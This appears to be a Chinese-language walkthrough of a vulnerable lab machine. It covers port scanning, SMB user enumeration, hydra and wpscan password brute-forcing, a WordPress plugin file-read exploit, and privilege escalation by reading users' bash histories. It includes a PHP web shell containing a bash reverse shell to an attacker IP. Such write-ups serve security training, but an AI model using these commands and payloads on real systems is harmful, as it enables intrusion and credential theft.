建议先看提示
密码爆破
文件读取
多看看wp-content/uploads/
目录
历史命令
http
和https
端口扫描&服务探测&漏洞探测
nmap -p- 172.16.33.79
nmap -p20,21,22,53,80,123,137,138,139,666,3306,12380 -sV 172.16.33.79
这里samba
服务存在一个漏洞,可以进行RCE,不过需要使用msf
进行攻击,最后再说
nmap -p20,21,22,53,80,123,137,138,666,3306,12380 --script=vuln 172.16.33.79
扫除几个漏洞,但貌似都用不上
边界突破
开的端口比较多,一个个试
21
尝试匿名登录,但是没有文件,也无法执行ls
命令
80
80
端口是一个web
扫一下目录
没扫出有用的东西
再用nikto
扫一下
139
这个端口提供smb
服务,可以进行系统用户枚举
enum4linux -a 172.16.33.79
将用户名放在一个文件中,可以用来爆破21
和22
端口
思路一:21、22、3306端口爆破
先直接尝试用户名作为密码进行爆破,3306爆破失败
hydra -L username.txt -e nsr ftp://172.16.33.79
ftp
尝试了一下,都没有用
hydra -L username.txt -e nsr ssh://172.16.33.79
直接使用爆破出来的账号密码登录
12380
也是一个web,扫一下目录,但是扫不出内容,关键扫的非常慢。这里要使用https访问才行
dirsearch -u https://172.16.33.79:12380
再查看/robots.txt
,发现/blogblog/
和/admin112233/
其中/blogblog/
目录是WordPress
,直接上wpscan
wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks -e u -P /usr/share/wordlists/rockyou.txt -t 50
直接扫除多个用户名密码
wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks -e ap --plugins-detection aggressive
第一个插件就存在漏洞
思路二:直接登录 wordpress 上传 webshell
尝试上面爆破出来的账号密码,发现john
是管理员账号,可以上传插件安装
上传文件内容如下,kali
监听4444
端口,上传之后不是直接就执行了,需要手动访问wp-content/uploads/
里的文件
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.149/4444 0>&1'"); ?>
之前尝试上传php-reverse-shell.php
失败了,可能是有过滤
反弹shell
成功
思路三:通过插件漏洞,进行任意文件读取
根据上面扫出来的插件,查找相关漏洞,存在本地文件包含漏洞
修改脚本中的url
使用python2
执行exp
脚本
执行完之后会在wp-content/uploads
目录下生成一个图片
下载图片进行查看
wget https://172.16.33.79:12380/blogblog/wp-content/uploads/2060736872.jpeg --no-check-certificate
获取到数据库的root
账号和密码,接下来的思路是登录phpmyadmin
,然后查看wordpress
的用户密码,再用john
爆破得到管理员的密码,登录wordpress
,然后按照思路二的方法获得反弹shell
还有个方法就是,利用之后提权用到的思路,去读每个用户的历史命令,这里就需要修改exp
,去循环读取
优先下载几个比较大的文件
发现用户JKanode
和peter
的密码,可以直接ssh
登录
提权
这里不管是通过哪种方式突破到系统,都是通过peter
用户,进行sudo
提权
普通用户下执行(这个命令可以加到提权常用命令中)
cat /home/*/.bash_history
msf
一把梭
杀伤力过大,直接一步到位。。。